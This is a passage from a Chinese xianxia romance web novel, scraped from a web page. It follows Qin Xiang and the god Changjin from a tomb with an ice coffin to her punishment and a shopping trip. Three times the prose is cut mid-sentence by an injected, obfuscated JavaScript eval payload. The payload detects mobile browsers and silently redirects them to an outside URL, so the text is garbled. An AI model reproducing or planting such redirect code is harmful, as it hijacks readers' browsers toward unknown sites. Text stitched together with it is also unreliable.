“嗯……”这泡泡术和上次他给她写的清心诀有着异曲同工之妙,不过细细想一下,确实是没有毛病的,那是清心诀没错,这是泡泡也没有错。 这就是所谓的,乍然一听,荒诞不经,细细想来,又合情合理。 于是秦湘很给面子地又肯定地点了点头,“对,神君你说得对,非常对。” 泡泡载着两人很快地到达了水底,秦湘定睛一看,一个散发着绿色幽光的传送法阵赫然出现在了两人面前。这传送法阵上画着的是一群修士站立的图案,两人对视了一眼,又点了点头,没找错,就是它。 穿过法阵,又是一阵天旋地转的黑暗,没多久,两人便感觉脚底已经站在了平地上。秦湘这回学乖了,不敢再突然睁眼了,生怕这回一睁眼又冷不防地和哪位尸兄来一个四目相对。于是她慢慢地先掀开一条缝,感觉面前并无其他,这才放心大胆地睁开双眼。 这回出现在二人面前的东西可就正常多了,没有成堆的白骨,也没有成堆的死人。摆在二人面前的,只是一扇晶莹剔透的冰门,而二人此时就正站在这冰门面前。 两人对视一眼,旋即将门推开。冰门背后,是一间完全用冰雕砌而成的宽大房间,房间内十分空旷,只有一具萦绕着幽幽寒气的冰棺摆放其中。 秦湘走了过去,站在那具冰棺面前,低头一看,冷不防地一惊,“怎么是他?” 闻声,长锦也走了过去,站在了她身边,低头望向那冰棺。 冰棺里,一个约莫三十岁左右的男子正躺在其中,他一袭烟灰色素衣,满头青丝用一根简单的木簪束着,垂于肩后。脸上覆着寒冰,甚至连紧合着的睫毛都覆着一层寒霜,嘴唇青白,双手交叠放置腹部,在他身旁,还有一把长剑静静地躺在那里,像是陪伴着主人一起陷入了长眠。 长锦看向了秦湘,看着她脸上的凝重之色,顿了顿,才道:“你认识他?” “他是江暮行,修仙界中曾经热极一时的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049047|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之骄子,”秦湘沉默片刻,又接着道,“群英论剑大会一开始就是为了让大家学习他的那种剑客精神才举办的。不过在十年前,曾经出过一件杀妖取丹修炼禁术的事情,那件事的幕后真凶据说就是江暮行,他为了提高修为所以杀害了许多无辜妖怪,然后夺取了它们的内丹,最后江暮行被伏诛,这种案件就再也没有出现过了。” 她看着冰棺中那具冰冷的遗体,到底还是修仙界当初的翘楚。秉着对前辈的尊重,秦湘整理了一下自己的仪容,然后转身走到了那具冰棺面前,双手抱拳,肃穆端正地鞠了三个躬。 之后,她才回到长锦身旁,沉吟片刻,道:“神君,你说,那黑衣人把我们引到这里来,不会就是为了让我们看见这副冰棺,然后看见江暮行吧?他到底想表达什么?” “万一他不是为了让我们看见什么,而是为了将我们困在前两个洞穴之中呢?只是没想到我们会找到那传送法阵走到这里。” “暧,好像也是,这次神君你在集议上拿出了魔煞罗盘和驱魔符咒,他们想继续用这种方法吸取邪念已经行不通了,所以就想故意将我们引过来,存心将我们困死在这里面。”秦湘摸着下巴思考了一阵,“江暮行毕竟还是清虚门掌门的首席弟子,这苍龙山是他扬名天下的地方,死后被其安葬在这里,也说得过去。不过,那打开厄运之门的幕后之人又怎么会知道清虚门江暮行的埋尸发丧之地?还会利用这里的机关来困住我们?” 说到这儿,秦湘脑中灵光一现,她猛然抬头望向长锦,长锦也正皱着眉头看向她。她看了一眼身旁的冰棺,才颤声道:“神君,你说……那幕后之人,会不会就是清虚门的人?” 长锦点头道,“很有这个可能。” 秦湘蹙起了眉,站在一旁沉思着。她脑中突然闪过了乔玉洲当初和她说的那件关于三花的事情,妖界又出现了妖怪被杀内丹被取修为被夺之事。 最当初的杀妖取丹事件就发生在清虚门,如今又发生了这样的事情,且那幕后之人还将他们引到了这江暮行的长眠之地,难道说,当初那件事并不是江暮行做的,而是有人栽赃陷害?那栽赃陷害之人就是那幕后之人? 两人都在思忖着,冰室里一时安静如洗。秦湘舒展开了眉头,唤道:“神君。” “嗯?”长锦自然地应了一声。 “我们先找出口出去吧,这人如果只是为了将我们引过来困死,那他的计谋就失败了。而且我总觉得事情没这么简单,他们谋划了这么久,又怎么会在这种时候狗急跳墙对我们出手,兵行险招,就这么暴露了自己的身份?” “你的意思是?他也许是故意将我们往这里引,或许他本来就不是清虚门的人,他在混淆视听。” “有这个可能,不过也不能排除这个人是故意搅浑水,或者他就是清虚门的人,然后故意暴露在我们的眼皮子底下,让我们觉得这么明显,绝无可能,”秦湘叹了口气,“总之,所有假设猜测都是一半一半的,等到时候出去之后,让爹爹多注意一下清虚门的动静吧,多个心眼总是好的。” 长锦点点头,“嗯,你言之有理。” “而且还有一件事,就是那件杀妖取丹的事情,我总觉得没有那么简单,十年前的这件事因为江暮行的死亡而结束,而十年后,江暮行已经躺在这里了,却还有杀妖取丹的事情发生,那人能进这里,说明不管他是谁,一定是熟识江暮行的人。等我们回去之后,一定要去找乔玉洲和三花问问,我总觉得如今这件杀妖取丹的事情与那开厄运之门的幕后之人脱不了干系。” 长锦顿了顿,淡淡道:“妖法与仙法相冲,在一定程度上却与魔主属同系,如果收集大量妖气法力,确实也是可以增长魔主的实力。” 秦湘右手握拳击于左手掌心,眼睛一亮,道:“如此说来,倒真是连得上了。”她一笑,正准备偏头与长锦再说话,却见一个黑色身影赫然出现在了冰室门口,见秦湘发现了他,他丝毫不犹豫,翻手便朝着两人袭来。 “小心!”秦湘一把推开长锦,然后召出烈云猛地朝着那人掷了出去。那黑影被烈云剑刺中,又迅速地瘦瘪了下去,冰室地面上,只余一件黑袍被长剑钉在那里。 秦湘走了过去,将剑拔了出来,蹲下身去,将那件衣服提起来抖了一抖,不出意外,一张黄符又从衣襟之中飘了出来。 秦湘将那黄符捡起来,看了看,皱眉道,“又是傀儡术。”她站起身来,四处望了望,“奇了怪了?之前每次这些东西一出现,那传送法阵就算藏得再隐秘,也总会有点痕迹,可这间冰室就这么大,里里外外瞧遍了都什么也没有,神君,怎么办?我们怎么出去?” 57.藏书阁记 长锦站在她面前,盯着她手中的黄符若有所思,半晌,道:“秦湘,把你手中的黄符给我。” “嗯?这个吗?有什么用?”秦湘不明所里,但还是把那符咒递给了他。 “这傀儡人既然出现在了这里,那这里应该也要有出去机关才是,本来靠我们找可能确实要费点劲,但是现在有它送上门来了,就方便多了。”长锦说着,指尖捏着那张符咒,下一秒,符咒在他手中化成了一缕金色的细碎流萤,流萤在空中漂浮了一会儿,然后,又化成了一只金色蝴蝶。 蝴蝶在空中盘旋飞舞了一会儿,然后朝着冰门外飞去。长锦道:“走吧,这是引路金蝶,跟着它,我们就能出去了。” 两人跟着金蝶来到了冰门之外,只见那蝴蝶停留在了一块冰壁之上,长锦走了过去,伸手在那冰壁上摸索了一阵,半晌,随着他吧嗒一声按下,一个冰洞便“轰隆隆”地出现在了两人面前,冰洞里,一阶一阶的冰梯通往了地面上方,远远望去,白茫茫的一片。 洞口一打开,金蝶又翩翩地旋转飞了起来,朝着冰梯上方飞去。长锦偏头,与秦湘对视了一眼,“走吧。” 冰梯较宽,可容纳四五人通行,于是两人并肩而行,跟着金蝶朝着地面上方走去。 秦湘走在长锦身边,抬头看着前面飞舞的蝴蝶,最终还是没忍住,问道:“神君,是因为这张黄符上有那人的残留法术,所以你才能根据它找到出口是吗?” “没错,”长锦笑了笑,“既然是他自己送上门来的,就没有不用的道理。” 秦湘若有所思地点点头,“那要这么说来,倒还真是谢谢他又来了一趟,可能本意是为了来确认我们还活着没活着,只是他也想不到神君你竟然还有这一手。”她说着,又叹了口气,“嗐,是得快点出去了,群英论剑大会这会估摸着都已经结束了,我已经想象到爹爹指着我鼻子骂我的场景了。” 闻言,长锦不解地看向她,问道:“嗯?掌门为什么要骂你?” “因为我先斩后奏,不跟他报备一声就跑了,他只要没看见我就会担心我,他一担心我就会着急,他一着急就会反反复复念叨我,最后,就会罚我抄门规一百遍,”秦湘说着,转头可怜兮兮地看向长锦,委屈道,“神君,如果到时候爹爹真的罚我抄门规,你可不能见死不救啊。” 长锦一顿,随即十分仗义道:“如果掌门真的罚你抄门规一百遍的话,那我帮你一起抄。” “好,这可是神君你说的话,到时候可不要食言。” “君子一言,驷马难追。” 两人边聊边走,在两柱香之后,终于走出了这个洞穴。看着斜斜沉下去的夕阳,秦湘大感不妙,连忙拉着长锦就跑:“神君,快走快走,我们真的得快点回去了,再晚些爹爹和师兄真的要着急死了。” 长锦连忙应好,跟着她一路疾走。刚走出这后山密林,迎面便撞上了来找他们的周楚闵和秦叙二人。 周楚闵眼尖,远远地便看见了朝着这边走来的两人,心下一动,连忙指道:“掌门,我看见阿湘和席清长老了,他们在那里呢。” 秦叙眯着眼睛顺着周楚闵的手指一看,那一身狼狈朝着他俩狂奔过来的两人,不是消失了一下午的秦湘和长锦还是谁?秦叙又惊又喜又怒,赶紧迎了上去,大喊道:“阿湘!!” 听着秦叙语调都变了,还徒然提高了三个度,秦湘脚步一顿,看着面前朝她怒气冲冲地走过来的秦叙,朝着长锦靠近了些,用手挡住嘴巴悄悄道:“神君,你看,我爹这样喊我就是代表着他特别生气,看来回去之后一百遍门规是少不了的了。” 长锦挑了挑眉,还未等他回话,那边两人已经走到二人面前了。秦叙一把冲到秦湘面前,将她上上下下看了个遍,才一巴掌拍上她的肩膀,怒道:“你这一下午跑到哪里去了?!要不是论剑大会念你的名字喊你上场半天没看见你人,我都不知道你不见了这么久?!你是要急死你爹吗?” 秦湘理亏,没敢回嘴,只挠着头嘿嘿笑了两声,“爹爹你放心吧,你看我这不是没事嘛?”又转头朝着一旁站着的周楚闵道,“师兄,比试怎么样?你是魁首吧?” “这不是必然的事情?”秦叙没好气道,“本来今天下午最后一场就是你和你师兄的对决,你不在,那魁首不就是楚闵的了。好了,你不要给我转移话题,赶紧说说,你今天下午和席清长老到底去做什么去了?!招呼都不打一声。” 周楚闵也道:“是啊,阿湘,你们到底去哪里了?掌门发现你俩不见的时候都快要着急死了。” 秦湘和长锦对视一眼,将今日午时遇见那黑衣人以及后来追去后山进了江暮行墓穴的事情同两人大致地讲了一遍。 等她讲完,秦叙与周楚闵都面色凝重,沉默几许,周楚闵道:“你说那黑衣人是用符咒做的傀儡人?擅长符箓的不是千机阁吗?难道那人是千机阁的?” 秦湘道:“可是师兄,那符箓只是普通的符箓,一般门派虽然不擅长撰写创生符箓,但是使用还是没问题的。主要是那人知晓江暮行的墓穴结构啊,还利用他的墓穴来算计我们,千机阁虽是六大门派之一,但是向来不与任何门派交好,如果幕后之人是千机阁的人,那他又怎么会知晓清虚门的事情?还能这么清楚的知道江暮行墓的构造机关?” “好像也是,”周楚闵头有点大,想了想,又道,“那如此说来,清虚门的嫌疑确实大一些。” 秦叙沉声道:“好了,你说的我都知道了,这些事情先不要声张,以免打草惊蛇,回去之后我会先召集长老们商讨一下,派人多注意些清虚门的动向,顺便再暗中调查一下十年前江暮行的那件杀妖取丹事件。” “嗯,爹爹明智,”秦湘笑着朝秦叙竖了两个大拇指,振奋道,“那我就等有机会去找乔玉洲和三花问问关于最近发生的那些杀妖取丹事件,这样查下去,不怕那人漏不出马脚。” 秦叙还在气头上,毫不犹豫地打断了她,恨声道:“在你去找乔玉洲之前,你先给我去藏书阁闭门思过十日,再把门规给我抄两百遍!” “啊?”秦湘虽然早已料到,但此时还是想讨价还价一番。于是她走过去,抱着秦叙的肩膀晃了晃,又眨眨眼,可怜兮兮道:“爹爹~我知道错了,下次不敢了,我下次如果有什么事一定会提前告诉你的,所以……”她举起一声手指头,小声道,“能不能只抄一百遍?” 秦叙向来就吃秦湘这一套,被她这么一晃,差点就直接松口了。他看着秦湘,秦湘也看向了他,还眨巴眨巴了眼睛。 在这良久的沉默之中,他终是败下阵来,皱着眉头推开她,又叹了口气道:“你既然知道不敢了为什么还要这样做?你知不知道爹爹真的很担心你?你要是出了什么事你让我怎么有脸去见你阿娘?” 见秦叙又要往这上面扯,秦湘不愿他再提起这件伤心事,于是连忙抱住他的胳膊,将头靠在他的肩膀上,轻声道:“好了好了,对不起,爹爹,是我不好,我向你保证,没有下次了。” 秦叙见她如此,倒也不忍真的与她生气,于是伸手揉了揉她的头发,温声道:“下不为例。” 群英论剑大会至此就算圆满结束,秦湘超过比试时间未出现,故而视为自动退赛,所以此届大会的魁首便是周楚闵了。颁奖典礼在第二日举行,结束后,各大小门派的人开始逐次离去。 四人下了苍龙山,又在霞羽城中逛了半日。买了些干粮,又带了些洛阳地区的土特产,大大小小塞了好几包,这才前往车坊租了马车上了路。 回到腾岳之巅,已是十日之后的事情了。 虽然在秦湘的“撒娇蛮缠”攻势下,秦叙已有松口之势,但该有的规矩还是不能破,于是在一番讨价还价之下,由当初的闭门思过十日改为七日,纂抄门规两百遍改为一百遍。 对于这个结果,秦湘颇为满意,虽然禁足只少了三日,但纂抄门规可少了一半呐。于是她欣然接受,故作难受地朝着她爹说了声,“阿湘知错,阿湘领罚。”然后,转过头就心甘情愿且没有一丝被罚了的难受地抱着笔墨纸砚朝着藏书阁走去。 藏书阁内,秦湘端坐在案牍面前,笔下生风地纂抄着面前的门规,两个时辰后,她闭着眼揉了揉眉心,待再睁眼时,面前已多了一人。 秦湘被这突然出现的身影吓了一跳,连着抖了一下猛的。半晌,才拍拍胸脯,朝着面前坐着的长锦投去一个幽怨的眼神,“神君,你要吓死我啊,怎么突然出现。” 长锦一顿,笑道:“不好意思。” “好了好了,先不说这个了,对了,神君,你是怎么进来的?门口不是有弟子们守着吗?”秦湘一边说着,一边双手撑在案牍上,俯着身子偏头朝着门口看了看,藏书阁的门关得严严实实的,压根不像开过的样子。 于是她将头转回来,一脸悚然道,“你不会是直接走进来的吧?这可不行的,要是让爹爹知道了,可就麻烦了,到时候得罚我抄两百遍。” “没事,我用的穿墙瞬移术,没让人瞧见,你就放心好了,掌门不会知道的。” 秦湘这才放心了,点点头,哦了一声,“那神君你怎么会来?” 长锦坐在她对面,将她手中的书卷拿在手里看了看,抬眼道:“我来帮你抄门规。” “嗯?”秦湘懵然地眨了眨眼,默了一瞬,才想起来在苍龙山两人说过的这话,不过那是她也就是那么随口一说,压根没想过真要长锦来帮她抄门规。于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15056760|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她摆摆手,失笑道,“神君,我跟你开玩笑的呢,我怎么会真要你来帮我抄,区区一百遍,对我来讲,小事一桩。而且我们的字迹都不一样,到时候爹爹肯定会知道的。” 闻言,长锦不语,伸手拿过她手中的纸笔,对着书卷,怔了怔,提笔就写。秦湘一惊,扑上去就要阻拦,眼睛一瞥,却惊奇地发现,长锦写下的字,竟与她的字迹是一模一样。 看着愣在原地的秦湘,长锦笑了笑,将书卷递给她,轻声道,“你看看,现在可以了吗?” 秦湘不可置信地接过那张纸,眯着眼睛凑近拿远反反复复看了好几遍,确实是一模一样的,雕刻都未必能雕到这种地步。于是她怔怔地转头,看了长锦一眼,长锦也微笑着看着她。 沉默半晌,秦湘转身就走,跑到书架上又抽了卷《腾岳之巅门规手册》,连着桌上几卷新的白纸和一只新的毛笔一起递过去,笑眯眯道:“那就谢谢神君啦。” 长锦接过她递过来的东西,摆在桌面上,温声道:“不用客气。” 转眼七日过去,有了长锦的帮忙,秦湘的一百遍罚抄比预期的时间要完成地快的多。禁足的最后一日,秦湘合上面前的门规,趴在案牍上一边玩着面前的毛笔,一边朝着对面的长锦道:“神君,这些天多谢你帮忙。明日你陪我下趟山吧,我请你吃饭。” “嗯?怎么好端端的突然想着去山下吃饭?”长锦说着,放下了手中的书卷,抬眼将目光挪到了她脸上,嘴角微微一笑,“这个月的零花钱掌门发给你了?” 秦湘点点头,“清桐姐姐和楚闵师兄半月之后就要成亲了,我一开始说要拿下群英论剑大会的魁首,然后将其中的几瓶珍品丹药给清桐姐姐做嫁妆礼物,可我们后来不是因为去追那黑衣人去了嘛,就错过了,所以我就想着明日下山去给挑个其他礼物送给清桐姐姐,神君你同我一道去吧。” 看着秦湘期许的目光,长锦一顿,笑了笑,没拒绝。 翌日过了早,秦湘与秦叙打了个招呼后,就拉着长锦一道下了山门,来到了腾岳之巅山下最近的一个小镇上。 秦湘昨天合计了一晚上,又朝着许多的师姐师妹们都取了个经,在一堆各种各样的礼物之中最终敲定,去翠玉坊中挑选一套珠钗首饰送给沈清桐当成亲礼物。 在市井中一路弯弯绕绕,秦湘拉着长锦站在翠玉坊的门口,看着那装潢极为奢华的牌匾,她顿了顿。她想过奢华,没想过这么奢华,于是思考良久,还是拉着长锦先在一旁的小茶铺中坐下了。 举手要了壶茶,长锦看着面前猛灌茶的秦湘,不禁疑惑道:“为什么不进去?我们不是要去给沈姑娘买礼物吗?” “是要买没错,可是神君你看见那里面站着的两个姑娘了吗?”秦湘放下杯子,瞥头朝着那翠玉坊中看了一眼,那坊中站着两个衣着华丽的姑娘,可能是职业使然颇为敏感,感受到秦湘的目光的那一瞬间就立刻也朝这边看了过来。秦湘心中一惊,赶紧收回视线。 长锦偏了偏头朝那里面看了两眼,又将视线挪了回来,如实道:“看见了,怎么了?” “看见了就对了,”秦湘端着杯子道,“这翠玉坊是这镇上最好的珠宝首饰铺了,你一进去她们就会一直跟着你,万一我钱要是没带够那多尴尬,所以再坐会儿吧,我再数一数确认一下。” 长锦看着秦湘坐在那,拿过腰间系着的那只白色锦囊,拉开束口,又认真地看了看。她平时攒的银子都是些碎银子,因为量多又重携带不方便,大部分都在今早上和秦叙兑换成了银票。所以不管她再怎样数再怎么确认,也是一眼能看见,锦囊中,除了六张一百两面额的银票之外,剩下的就是一些零碎的碎银子了。 秦湘边数边嘀咕着,“这可是我攒了一年的,我把我的陶瓷罐罐都砸了,要是还不够,我也不知道怎么办了……其他的礼物我又觉得不好。” 长锦喝了一口茶,看着秦湘还在拿着她的小荷包数来数去,不禁摇摇头,失笑道:“好了,秦湘,不要数了,要是不够也不怕,我给你付。” “嗯?”秦湘有些诧异地抬起头看向他,“神君你哪来的钱?” 长锦又捧着茶杯喝了一口,“掌门给的。” 秦湘一愣,这才想起,虽然长锦基本不用这黄白之物,但秦叙每月发月钱的时候,也会算上他这一份。如果是按照长老的月俸发放的话,这笔数目可不算小。 所以听闻长锦如此说,又想到这,秦湘就松了一口气,对长锦道:“好,那我们就进去吧,如果够就我自己付,不够那就当我借神君了,等下月爹爹发零花钱的时候我再还你。” 虽然长锦想说不还也没事,但看着秦湘一脸认真的样,话到嘴边,还是回了句“好。” 58.围炉话谈 秦湘和长锦才刚刚一走进那翠玉坊中,那立在一旁的姑娘就眼神锁定了两人,只见她双手交叠放在腹前,带着微笑步履平缓地就走到了两人面前,“欢迎莅临翠玉坊,两位想要买些什么?” 秦湘是真的不大喜欢有人在面前跟着,她僵了僵,讪笑道:“我们自己看看,自己看看。” 那姑娘看了她一眼,又看了长锦一眼,明了地点了点头,“行,那这边是我们上新的首饰,姑娘喜欢什么可以跟我说,我们翠玉坊是可以试戴的,若是有看上的我就拿出来给姑娘试一试。” 秦湘又眯着眼睛讪笑道,“嗯嗯,好,好。” 姑娘见两人自己进去看去了,也知晓有些客人不喜欢有人守在面前的道理,故而又朝两人笑着点了点头算是招呼,之后便走回了柜台坐下了。 没了人守在面前,秦湘就自在多了,她跟着长锦沿着柜台一路看。长锦看着她从一大堆素净珠钗面前路过,却一眼都没看,不禁好奇,问道:“你不是说沈姑娘喜欢素净,这些不行吗?” “清桐姐姐平日里带的发簪珠钗确实是以素雅为主,可这次不同,成亲只有一回,自然要隆重些,”秦湘边说着,边走到了另一个以黄金珠宝为主的柜台旁边,“神君,你过来看看,这对步摇是不是很不错?” 听到她在喊他,长锦便抬脚走了过去,站在她身边,朝着她指的那方看去。只见檀木托盘上摆放着两支红翡滴珠凤头金步摇,步摇精美,在灯光的折射下,更是晶莹辉耀。他点点头,“不错。” “我也觉得不错,”秦湘说着,便转头举手唤柜台前坐着的姑娘,“姑娘,这个能麻烦帮我拿出来看看吗?” “哎哎,来了。”那姑娘反应迅速,停下手中的活便起身走了过来,“姑娘想看哪一个?” “就这个,这对红翡滴珠凤头金步摇,”秦湘指了指那防护罩中的步摇,“怎么卖呀?” “姑娘好眼光,这步摇是我这今日才上新的,这上面镶嵌的可是极品红翡,”那姑娘说着,将那步摇小心翼翼地取了出来,端在秦湘面前,“你看这色泽,几乎没有任何杂色,姑娘你买这个,想必是与这位公子好事将近了吧?” 听着这姑娘的话,不仅秦湘懵了,长锦也懵了一瞬,两人对视了一眼,又不约而同地将视线转移。秦湘轻咳一声,才忙道:“不是我,是我姐姐要成亲了,所以我想买一套首饰送给她。” 那姑娘是个明白人,看着两人悄悄变红了的耳尖,低低地笑了一阵,才接着道:“哦,是这样啊,我还以为是姑娘你和这位公子呢,原来是给姐姐买的,你家姐姐真是好福气,能有你这么好的妹妹。如果是送礼给姐姐的话,姑娘你要不要再看看与这一对步摇可以凑成整套的其他首饰?” “嗳?这个还有一整套吗?我以为只有这两支。”秦湘惊奇道,“那你拿出来给我看看。” 那姑娘听到这话,瞬间就睁大了眼睛,嘴角的笑容压都压不住,忙转头带着另外几个姑娘就进了隔间,又端出了几个托盘呈在秦湘与长锦面前,“这一整套就是一支大凤钗,三支花钿钗,两侧再配套四支小凤钗,再加方才姑娘看见的那两支金步摇,成亲这种重要场合可以佩戴一整套,视觉效果上就是一套凤冠,绝对是明艳大方,端庄华贵。而且它与凤冠不同的是,平日里也可以拆开来单独佩戴,不隆重夸张也别有韵味。” 秦湘原本也是想给沈清桐买一整套头面,那姑娘拿出来的这一整套看着虽然隆重,但是也不夸张,其中镶嵌的红翡翠更是她一眼就看中了的,非常适合成亲这种场合。而且此时再听这姑娘这么一说,秦湘心中一动,想象了一番沈清桐佩戴着这一套头面嫁衣如火的样子,果真好看得紧。 于是她也丝毫不犹豫,小手一挥,“那就这套吧,替我包起来。” “好嘞,姑娘公子请随我来,这边结账。” 秦湘站在柜台面前,看着那姑娘坐在里边将算盘打得啪啪作响,她捏了捏自己的小荷包,有点紧张。长锦站在她身旁,将她的表情尽收眼底,笑了笑,“不用担心,不够还有我呢。” “嗯,我知道,”秦湘也偏头朝他笑了笑,“我就是习惯使然,这种时候总有点小紧张。” 那姑娘算了好一会儿,总算是抬起头来了。秦湘一见她抬头,便迫不及待地问道:“多少钱?” “一共是五百八十六两银子,外赠送你一对在灵隐寺开过光的红绳,灵隐寺姑娘你可知道?” “知道,灵隐寺的三生石嘛,据说那个寺庙求姻缘特别灵验。许多为了求姻缘而来的信男信女,到最后基本都得偿所愿了。”秦湘边说着,边从荷包中掏出她那六张银票递给柜台后的姑娘。 “是了,带上这红绳的人啊,就会生生世世永不分离,姑娘既然要送与姐姐,那将这红绳也一并送与你姐姐姐夫吧,佛祖会保佑他们,生生世世在一起的。” “好,如此,我就先替我姐姐谢过姑娘的祝福了。” 两人走出翠玉坊,秦湘以手遮眼,眯着眼睛望了望天空。日头渐高,她将小荷包的绳子绕在手上,转圈绕紧指尖,又倏而反着松开,就这么转了两轮,她道:“神君,今日多谢你陪我,没想到还会有剩下银子,走,我请你吃饭去。” 长锦看着她抬脚就要走进一家装潢什么一看就不便宜的酒楼,连忙伸手拉住了她。秦湘被他这么一拉,有些摸不着头脑地转过头来,问道:“怎么了?” “换一家吧,这家一看就不便宜,你今日开支太多了。” 秦湘一怔,旋即笑了,举起手中的小荷包在他面前晃呀晃,“神君你不用担心,我还有钱,唔……应该还有三十多两银子,吃个饭而已,绝对是够了的。” “那要吃这家也行,我来付钱,我请你吃。” 秦湘一听这话,想也没想立马拒绝,“那怎么行,神君你又帮我抄书,又陪我来买礼物,怎么说都该是我来请你吃这顿饭,怎么能让你来付钱呢。” “那就换一家吧,最贵的不一定是最好吃的,换一家。” 两人在原地站了半晌,最终还是秦湘先退让了一步。她挪开眼,朝他摆了摆手,“唉,好吧好吧,不吃这家就不吃这家吧,”说着,又叹了口气,还是有丝不甘心,又道,“那这次听了神君的,下次就要听我的,我说请神君吃什么神君就要吃什么,不能拒绝。” 长锦闻言轻笑了一声,半晌,才应道:“好。” 两人转身离去,一边走秦湘便一边抬头望向长锦。 长锦见她皱着眉头望向他,便笑着问了,“怎么了?”秦湘摇摇头,将目光移开,半晌,又将目光狐疑地放在了他脸上,不知为何,她从长锦的笑容中总瞧出了一丝她被糊弄了的错觉? 二人又在市集长街上晃荡了好半天,在摊肆之间穿梭走过,秦湘眼睛扫过一溜串的什么面馆馄饨摊,最终,目光锁定在了一家售卖拨霞供的的店舍摊肆之上。 她收回目光,朝着身旁的长锦道:“走,神君,我请你去吃拨霞供。” 长锦不知道拨霞供是什么,但一见秦湘眼中绽放出的星光,便知道这是她所喜爱的,于是就点了点头,由她拉着走到了一家热闹非凡的店舍之中。 此时正是午饭时间,店舍内人头涌动,几乎座无虚席。秦湘拉着长锦寻了张靠边露天的矮木桌坐下,长锦坐在桌边,在他面前的桌上,摆放着一只风炉,他有些疑惑地盯了半晌,又转头去看坐在他周围的人群。 在他们面前,也都放着这样一只风炉,风炉里边烧着旺火,上边则架了一只大铁锅,锅内冒着泡,生鲜食材摆了满桌,而人们一边将食材往锅中丢,一边则从锅中又夹了烫熟了食材往嘴里送。 店里的人太多,小二忙着招呼先来的客人,秦湘便也只能等一等。她扭头看向长锦,看着他的眼神,心中也是明了,长锦生于三千年前,定是没有见过这种吃法。于是她笑了笑,轻轻开口,问道:“神君,你应该还没见过这种吃法吧?这个东西叫做拨霞供,我们这边也可以叫做是吃暖锅。” “拨霞供?”长锦轻轻地将这个名字又念了一遍,赞道,“这倒是个美名。” 闻言,秦湘笑道:“是呀,这个名字有个典故,神君你想听的话,我就跟你说说。” 长锦微微抬眸,看了秦湘一眼,倏而笑了,“好啊,那你说来听听。” 秦湘可喜欢给人讲故事,于是便轻轻咳了一声,娓娓道来地开始了:“关于这拨霞供啊,有一句最出名的诗就是:浪涌晴江雪,风翻晚照霞。相传很久以前有个人去山里拜访朋友,刚好那天落大雪,他们得到了一只野兔,但是山里没有厨师,于是他朋友就介绍了这种山里的吃法,将兔肉切成薄片,用酒、酱、椒、桂做成调味,再在桌上放个生炭的小火炉,炉上架个汤锅,等汤开了夹着片在汤中涮熟,蘸着调味料吃。因为汤底一般都以辣椒为主,水开之后汤汁翻滚,如同拨开云霞一样,故而得名拨霞供。” 长锦听着,想了想,点头道:“这种吃法很方便省事。” 秦湘被他认真点评思考的模样逗乐了,“噗嗤”一声低低地就笑了出来。半晌,笑够了,又接着道:“是啊,不仅方便省事,而且格外温馨。神君你想象一下,在大雪纷飞的寒冬之中,大家围聚一堂谈笑风生,是不是想想都是很美好很温馨的画面?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064889|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 长锦看着身旁坐着的熙熙攘攘的人群,气氛闲适,凡尘烟火气息浓郁,一切都是那么平凡普通,却又那么美好真实。他沉默了一下,旋即笑开,“是啊,真好。” 两人四目相对,相视一笑。恰好那边小二忙完,秦湘连忙举手叫道:“小二,这边这边,点菜点菜!!” 她的声音响亮,不止小二听见了,店门口的两道身影闻声也愣了一下,看清这边桌上坐着的人时,连忙笑着戳戳身边的人,示意她往那看:“三花,你瞧,好巧不是?你秦湘姐姐在呢,走走走,我们去与他们拼个桌。” “秦湘姐姐好,长锦哥哥好。”当乔玉洲与三花在秦湘与长锦这一桌桌边站定时,秦湘满脸都是意外,看见两人,眨着眼睛愣了好久。 乔玉洲朝着长锦点了点头算是招呼,然后才伸手在呆了半怔的秦湘面前挥了挥,好笑道:“怎么了?看见我和三花这么激动?都傻了?” 秦湘回过神来,才怔怔地起身道,“不是,我,你,我,你们怎么在这儿?” “周楚闵不是要与沈姑娘成亲了吗?我阿爹阿娘说反正没事,索性就早来些,所以我们收拾收拾就先过来了,”乔玉洲一边说着,一边拉着三花在桌边坐下,“只是没想到会在这遇见你和席清长老。” “我来给清桐姐姐买成亲礼物,”秦湘道,“嗳,你来了的话,那怎么不见乔伯父伯母啊?你们不是一道来的?” “是一道来的呀,我爹他陪着我娘去看胭脂去了,顺便挑挑送给秦伯父的礼物,我才不要在那看着他俩腻乎呢,又看时间还早,就先和三花过来逛逛。” 